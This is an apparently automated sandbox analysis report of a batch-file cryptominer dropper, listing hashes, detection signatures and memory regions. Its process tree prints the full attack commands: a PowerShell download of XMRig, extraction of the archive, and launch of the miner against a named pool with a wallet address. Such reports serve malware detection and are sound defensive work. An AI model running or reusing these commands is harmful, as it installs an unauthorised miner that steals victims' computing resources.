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Analysis

  • max time kernel
    1796s
  • max time network
    1789s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 07:23

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3548
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:936

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f8a2822d472be1915b4fba19b7a7486a

    SHA1

    a52b4dbfb198dd1378c427214ee9e2454abb7668

    SHA256

    6158b2aa6dd5b3369ce00395d06d0c536006b8a2bd5c2a081205691d18449849

    SHA512

    b2f30f6141c91ed2b52c6e4379d9e418d8815a33b8a144b4191b4d4d060f4a4c75ee7b728594714db83e9a97aed4d44bf2090d33ae211b89f007bd1165b682bd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vdqttikt.za4.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    57KB

    MD5

    b5780594a337efd04465be312bb87766

    SHA1

    69bf8fc68a46836856fdd816ee293f74c13a9451

    SHA256

    90d4d58ac0d861bd29d0e02bfbc26eb82162fc344792529873289720a9cc2e06

    SHA512

    c303de354b9081034cf0603e91a95c5a4470a78f7c456f64464a4ee4354bdbfa448d14f3790f332933e2bb7290917780409e262526e7d4b100c0f70d4db4aa6a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    26KB

    MD5

    0566de51389f9bfbaeb30bd6c32f0cd1

    SHA1

    272fa19830722f03068358ac8d5fc69a37827ae1

    SHA256

    1156899599bd7141bae70c6b165e7d2cee1cd1cb2684a93f759ea1dcdec24ac0

    SHA512

    deef30d40d9940741bc847fe2c9faeea36b102ba9c01ea153052cb742d8b84112bf2cbba99b0768e799096e2594da4314b42232c6f00d7d10eae02d9bd9a3d66

  • memory/936-143-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-120-0x0000024BDD750000-0x0000024BDD770000-memory.dmp

    Filesize

    128KB

  • memory/936-188-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-187-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-186-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-185-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-184-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-183-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-182-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-181-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-180-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-179-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-178-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-177-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-176-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-175-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-174-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-146-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-173-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-121-0x0000024BDF190000-0x0000024BDF1B0000-memory.dmp

    Filesize

    128KB

  • memory/936-122-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-123-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-125-0x0000024BDF1D0000-0x0000024BDF1F0000-memory.dmp

    Filesize

    128KB

  • memory/936-124-0x0000024BDF1B0000-0x0000024BDF1D0000-memory.dmp

    Filesize

    128KB

  • memory/936-126-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-127-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-129-0x0000024BDF1D0000-0x0000024BDF1F0000-memory.dmp

    Filesize

    128KB

  • memory/936-128-0x0000024BDF1B0000-0x0000024BDF1D0000-memory.dmp

    Filesize

    128KB

  • memory/936-130-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-131-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-132-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-133-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-134-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-135-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-136-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-137-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-138-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-139-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-140-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-141-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-145-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-172-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-171-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-142-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-144-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-147-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-148-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-149-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-150-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-151-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-152-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-153-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-154-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-155-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-156-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-157-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-158-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-159-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-160-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-161-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-162-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-163-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-164-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-165-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-166-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-167-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-168-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-169-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/936-170-0x00007FF7435C0000-0x00007FF7440C3000-memory.dmp

    Filesize

    11.0MB

  • memory/2036-34-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB

  • memory/2036-6-0x00000166AF980000-0x00000166AF990000-memory.dmp

    Filesize

    64KB

  • memory/2036-26-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB

  • memory/2036-27-0x00000166AF980000-0x00000166AF990000-memory.dmp

    Filesize

    64KB

  • memory/2036-28-0x00000166AF980000-0x00000166AF990000-memory.dmp

    Filesize

    64KB

  • memory/2036-7-0x00000166AF980000-0x00000166AF990000-memory.dmp

    Filesize

    64KB

  • memory/2036-29-0x00000166AF980000-0x00000166AF990000-memory.dmp

    Filesize

    64KB

  • memory/2036-25-0x00000166AF980000-0x00000166AF990000-memory.dmp

    Filesize

    64KB

  • memory/2036-5-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB

  • memory/2036-10-0x00000166AFBB0000-0x00000166AFC26000-memory.dmp

    Filesize

    472KB

  • memory/2036-4-0x00000166AFA00000-0x00000166AFA22000-memory.dmp

    Filesize

    136KB

  • memory/3548-80-0x0000018E2C400000-0x0000018E2C412000-memory.dmp

    Filesize

    72KB

  • memory/3548-43-0x0000018E2C360000-0x0000018E2C370000-memory.dmp

    Filesize

    64KB

  • memory/3548-42-0x0000018E2C360000-0x0000018E2C370000-memory.dmp

    Filesize

    64KB

  • memory/3548-93-0x0000018E2C3E0000-0x0000018E2C3EA000-memory.dmp

    Filesize

    40KB

  • memory/3548-67-0x0000018E2C360000-0x0000018E2C370000-memory.dmp

    Filesize

    64KB

  • memory/3548-117-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3548-40-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB